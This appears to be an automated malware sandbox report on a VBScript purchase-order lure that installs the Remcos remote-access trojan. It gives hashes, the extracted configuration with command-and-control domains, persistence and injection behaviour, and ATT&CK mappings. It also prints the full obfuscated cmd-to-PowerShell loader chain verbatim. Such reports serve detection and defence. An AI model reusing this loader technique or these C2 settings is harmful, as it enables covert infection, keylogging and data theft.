Analysis
- max time kernel
150s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
Orden de compra_039484.vbs
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Orden de compra_039484.vbs
Resource
win11ltsc2024-20260911-en
General
- Target Orden de compra_039484.vbs
- Size 1.1MB
- Sample260930-kdthfasdpa
- SHA256 935336441e5aa15e107d320faf279be7588a45e35947035a4d647045966c5520
- MD5 822f56eac52742ed7a72621979d2b3d6
- SHA1 5f08b393778d2ad8b05ddbbe74bdd202c8fbe31a
- SHA512 7589ebca72a2a6ec2125c00ed263c46d290c6c6bf2868bd137c25a090d7112502ba711be348a0cfa25e7dbb704ec4235de44a004e9fe04991f936c1328343623
- SSDEEP 24576:9E6XC/PQGWJWUOm4iJC00uPp9Wk0uf+cyL6rz3Co3:4PQjjm0xP/Wk5fWOrf3
- TLSH T1064512949E8334A57D6E29C5A63B2F7CB2584295D8C9224CC248EB571E7DB370F2FC80
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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remcos
-
7.3.1 Pro
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RemoteHost
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www.albader-group.cam:2404
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www.albader-groupbackup.cam:2404
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www.albader-groupbackup1.cam:2404
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www.edibeckconsult.cam:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
-
connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
folder
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mouse_option
false
-
mutex
Rmc-O95NBS
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 6 IoCs
Network activity triggered a Suricata alert
flow pid Process 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe - Suricata alert: REMCOS RAT Malware Outbound C2 Communication 8 IoCs
Network activity triggered a Suricata alert
flow pid Process 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 8 5464 choice.exe 9 5464 choice.exe 9 5464 choice.exe - Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe Key enumerated \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\WlanOptWarm_GYUI = "C:\\Windows\\System32\\conhost.exe --headless -- C:\\Windows\\System32\\cmd.exe /c call \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\dcom_lease\\dcom_lease_KEOUWEZOh.cmd\"" powershell.exe - Enumerates connected drives 3 TTPs 5 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ choice.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2596 WScript.exe -
pid Process 4372 powershell.exe 2936 powershell.exe 3704 powershell.exe 3840 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2296 cmd.exe 3364 cmd.exe - Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 4372 powershell.exe 4372 powershell.exe 3704 powershell.exe 2936 powershell.exe 3704 powershell.exe 2936 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe - Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
pid Process 3840 powershell.exe 3840 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4372 powershell.exe Token: SeDebugPrivilege 3704 powershell.exe Token: SeDebugPrivilege 2936 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeIncreaseQuotaPrivilege 3840 powershell.exe Token: SeSecurityPrivilege 3840 powershell.exe Token: SeTakeOwnershipPrivilege 3840 powershell.exe Token: SeLoadDriverPrivilege 3840 powershell.exe Token: SeSystemProfilePrivilege 3840 powershell.exe Token: SeSystemtimePrivilege 3840 powershell.exe Token: SeProfSingleProcessPrivilege 3840 powershell.exe Token: SeIncBasePriorityPrivilege 3840 powershell.exe Token: SeCreatePagefilePrivilege 3840 powershell.exe Token: SeBackupPrivilege 3840 powershell.exe Token: SeRestorePrivilege 3840 powershell.exe Token: SeShutdownPrivilege 3840 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeSystemEnvironmentPrivilege 3840 powershell.exe Token: SeRemoteShutdownPrivilege 3840 powershell.exe Token: SeUndockPrivilege 3840 powershell.exe Token: SeManageVolumePrivilege 3840 powershell.exe Token: 33 3840 powershell.exe Token: 34 3840 powershell.exe Token: 35 3840 powershell.exe Token: 36 3840 powershell.exe Token: SeIncreaseQuotaPrivilege 3840 powershell.exe Token: SeSecurityPrivilege 3840 powershell.exe Token: SeTakeOwnershipPrivilege 3840 powershell.exe Token: SeLoadDriverPrivilege 3840 powershell.exe Token: SeSystemProfilePrivilege 3840 powershell.exe Token: SeSystemtimePrivilege 3840 powershell.exe Token: SeProfSingleProcessPrivilege 3840 powershell.exe Token: SeIncBasePriorityPrivilege 3840 powershell.exe Token: SeCreatePagefilePrivilege 3840 powershell.exe Token: SeBackupPrivilege 3840 powershell.exe Token: SeRestorePrivilege 3840 powershell.exe Token: SeShutdownPrivilege 3840 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeSystemEnvironmentPrivilege 3840 powershell.exe Token: SeRemoteShutdownPrivilege 3840 powershell.exe Token: SeUndockPrivilege 3840 powershell.exe Token: SeManageVolumePrivilege 3840 powershell.exe Token: 33 3840 powershell.exe Token: 34 3840 powershell.exe Token: 35 3840 powershell.exe Token: 36 3840 powershell.exe Token: SeIncreaseQuotaPrivilege 3840 powershell.exe Token: SeSecurityPrivilege 3840 powershell.exe Token: SeTakeOwnershipPrivilege 3840 powershell.exe Token: SeLoadDriverPrivilege 3840 powershell.exe Token: SeSystemProfilePrivilege 3840 powershell.exe Token: SeSystemtimePrivilege 3840 powershell.exe Token: SeProfSingleProcessPrivilege 3840 powershell.exe Token: SeIncBasePriorityPrivilege 3840 powershell.exe Token: SeCreatePagefilePrivilege 3840 powershell.exe Token: SeBackupPrivilege 3840 powershell.exe Token: SeRestorePrivilege 3840 powershell.exe Token: SeShutdownPrivilege 3840 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeSystemEnvironmentPrivilege 3840 powershell.exe Token: SeRemoteShutdownPrivilege 3840 powershell.exe Token: SeUndockPrivilege 3840 powershell.exe Token: SeManageVolumePrivilege 3840 powershell.exe Token: 33 3840 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2596 wrote to memory of 2296 2596 WScript.exe 89 PID 2296 wrote to memory of 4372 2296 cmd.exe 91 PID 2596 wrote to memory of 3364 2596 WScript.exe 92 PID 3364 wrote to memory of 2936 3364 cmd.exe 94 PID 3364 wrote to memory of 3704 3364 cmd.exe 95 PID 3704 wrote to memory of 3840 3704 powershell.exe 96 PID 3840 wrote to memory of 5464 3840 powershell.exe 99 - outlook_office_path 1 IoCs
description ioc Process Key enumerated \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de compra_039484.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c set "A001=$p=["&& set "A002=char"&& set "A003=]39+"&& set "A004=[cha"&& set "A005=r]32"&& set "A006=+$ar"&& set "A007=gs[0"&& set "A008=];$r"&& set "A009==$en"&& set "A010=v:PH"&& set "A011=SZTW"&& set "A012=;$f="&& set "A013=$arg"&& set "A014=s[1]"&& set "A015=;$s="&& set "A016=$arg"&& set "A017=s[2]"&& set "A018=;$rl"&& set "A019==$ar"&& set "A020=gs[3"&& set "A021=]+$a"&& set "A022=rgs["&& set "A023=4]+$"&& set "A024=args"&& set "A025=[5];"&& set "A026=$wl="&& set "A027=$arg"&& set "A028=s[6]"&& set "A029=+$ar"&& set "A030=gs[4"&& set "A031=]+$a"&& set "A032=rgs["&& set "A033=5];$"&& set "A034=tf=$"&& set "A035=args"&& set "A036=[7]+"&& set "A037=$arg"&& set "A038=s[8]"&& set "A039=+$ar"&& set "A040=gs[9"&& set "A041=];$t"&& set "A042==0;w"&& set "A043=hile"&& set "A044=($t-"&& set "A045=lt8)"&& set "A046={$t+"&& set "A047=+;$a"&& set "A048==$nu"&& set "A049=ll;t"&& set "A050=ry{$"&& set "A051=raw="&& set "A052=([ty"&& set "A053=pe]$"&& set "A054=tf)."&& set "A055=GetM"&& set "A056=etho"&& set "A057=d($r"&& set "A058=l,[t"&& set "A059=ype["&& set "A060=]]@("&& set "A061=[str"&& set "A062=ing]"&& set "A063=)).I"&& set "A064=nvok"&& set "A065=e($n"&& set "A066=ull,"&& set "A067=@($r"&& set "A068=));$"&& set "A069=a=fo"&& set "A070=reac"&& set "A071=h($l"&& set "A072= in "&& set "A073=$raw"&& set "A074=){$i"&& set "A075==$l."&& set "A076=Inde"&& set "A077=xOf("&& set "A078=$p);"&& set "A079=if($"&& set "A080=i-ge"&& set "A081= 0){"&& set "A082=$l.S"&& set "A083=ubst"&& set "A084=ring"&& set "A085=($i+"&& set "A086=$p.L"&& set "A087=engt"&& set "A088=h)-s"&& set "A089=plit"&& set "A090=$s}}"&& set "A091=}cat"&& set "A092=ch{}"&& set "A093=;if("&& set "A094=$a){"&& set "A095=([ty"&& set "A096=pe]$"&& set "A097=tf)."&& set "A098=GetM"&& set "A099=etho"&& set "A100=d($w"&& set "A101=l,[t"&& set "A102=ype["&& set "A103=]]@("&& set "A104=[str"&& set "A105=ing]"&& set "A106=,[st"&& set "A107=ring"&& set "A108=[]])"&& set "A109=).In"&& set "A110=voke"&& set "A111=($nu"&& set "A112=ll,@"&& set "A113=($f,"&& set "A114=[str"&& set "A115=ing["&& set "A116=]]@("&& set "A117=$a))"&& set "A118=);br"&& set "A119=eak}"&& set "A120=;Sta"&& set "A121=rt-S"&& set "A122=leep"&& set "A123= -Mi"&& set "A124=llis"&& set "A125=econ"&& set "A126=ds 4"&& set "A127=00}"&& set "PHSZTW=C:\Users\Admin\AppData\Local\Temp\Orden de compra_039484.vbs"&& set "NDHSTNR=!A001!!A002!!A003!!A004!!A005!!A006!!A007!!A008!!A009!!A010!!A011!!A012!!A013!!A014!!A015!!A016!!A017!!A018!!A019!!A020!!A021!!A022!!A023!!A024!!A025!!A026!!A027!!A028!!A029!!A030!!A031!!A032!!A033!!A034!!A035!!A036!!A037!!A038!!A039!!A040!!A041!!A042!!A043!!A044!!A045!!A046!!A047!!A048!!A049!!A050!!A051!!A052!!A053!!A054!!A055!!A056!!A057!!A058!!A059!!A060!!A061!!A062!!A063!!A064!!A065!!A066!!A067!!A068!!A069!!A070!!A071!!A072!!A073!!A074!!A075!!A076!!A077!!A078!!A079!!A080!!A081!!A082!!A083!!A084!!A085!!A086!!A087!!A088!!A089!!A090!!A091!!A092!!A093!!A094!!A095!!A096!!A097!!A098!!A099!!A100!!A101!!A102!!A103!!A104!!A105!!A106!!A107!!A108!!A109!!A110!!A111!!A112!!A113!!A114!!A115!!A116!!A117!!A118!!A119!!A120!!A121!!A122!!A123!!A124!!A125!!A126!!A127!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:NDHSTNR))" "ANSJQOGHTPCB" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd" "JAVXGGFLTXDB" "Read" "All" "Lines" "Write" "System" ".IO." "File"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:NDHSTNR))" "ANSJQOGHTPCB" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd" "JAVXGGFLTXDB" "Read" "All" "Lines" "Write" "System" ".IO." "File"3⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372
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-
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"3⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"3⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:TCUSBCAWZSU));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YOLFLOLNQRQ))"4⤵
- Adds Run key to start application
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\system32\choice.exe"C:\Windows\system32\choice.exe"5⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Accesses Microsoft Outlook profiles
- Enumerates connected drives
- outlook_office_path
PID:5464
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Process Injection
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\folder\logs.dat
- Size 102B
- SHA256 17be42c399ef039b3c265cee9b2fbe558b3e059114d914bc5502bddd207615bb
- MD5 5107af04dacd0e610bac781d3e25c3d7
- SHA1 7600d42b46dfeafedf287758bd26986d5d8a161b
- SHA512 4915cdc92e22bde73a2e87fade0fb3c023eaa3f1540290d9d228cf8dcd44e44bc013c8cc18944f648362019956a2ddab4344592444731232ec51eba4d1ed44ab
- TLSH T1CAB0124D3FE124657690E26A54F30017287079560039CC0C31D0034C0570B057040353
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\341753417568.cmd
- Size 1.1MB
- SHA256 9d1401c92b9cd2337638635216c612f95e61b76ead2f7d6bc0a3d66ca74a1407
- MD5 cb5c982a01b4dd91885ec120fed61ce0
- SHA1 1ace4cd65fa70de5098ef4c588e614471d873046
- SHA512 a4454d868ab5dd1e81273b903ec47b0ef509fd220accc84e47d638c018f4ea3acc96cd24618b26db64f07b54e11145f40134956481bf0704f12ded07249d36ed
- SSDEEP 24576:8KEQD+jaiWbmlOm/9Ja9s7tPYimpu3IAxe2BakdaB:oja/Am9UtwimE33jBoB
- TLSH T1AA4513949F4335A5BD6D2D95953B2B79731C4296CACA628CC294EB832E2DB370F1FC40
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
- MD5 7e77eb6f40342772dc4bcf96f554af0f
- SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
- SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
- TLSH T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
- MD5 18a431e2bf1c7189baadfb9c408f62eb
- SHA1 fc8e72f7c9ebcd482cc8d2c04b8bc8f606123c2d
- SHA512 92552b76e6c27c94d721cd140e671db8bd23fbfc1085e099225c52eb8279a4ba90325ec9406f077c13a187e296745d880aec5c42e4b894b7dddf6d64aced536a
- TLSH T175218933B3DC8614CC8A403A10CEAC1036B687DB809ECFABBB84D544B42F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5zpnfqo.tyc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_3840_e59b423.txt
- Size 612B
- SHA256 e1137ca223f40571d952ceadd1fade15c72de043590f70869c312cc9c68ef9da
- MD5 75c5375a9d3c28b41fb3794e3128213a
- SHA1 721b27e8b73f557f583960df2c2a3c516c581853
- SHA512 eb34f2afac2cdf2bfb6896397f0ea27d75460f8a6ff7602be4679e4f946890f2d18ffbeae3f94f100003087cf4787968c225dbbb2f2818ac46c972ed37076239
- TLSH T17FF0F87C88D64CCFFDC12919F61BB9953694B142B7D6C41F77EC122430898725B48570
- MD5 SHA1 SHA512 TLSH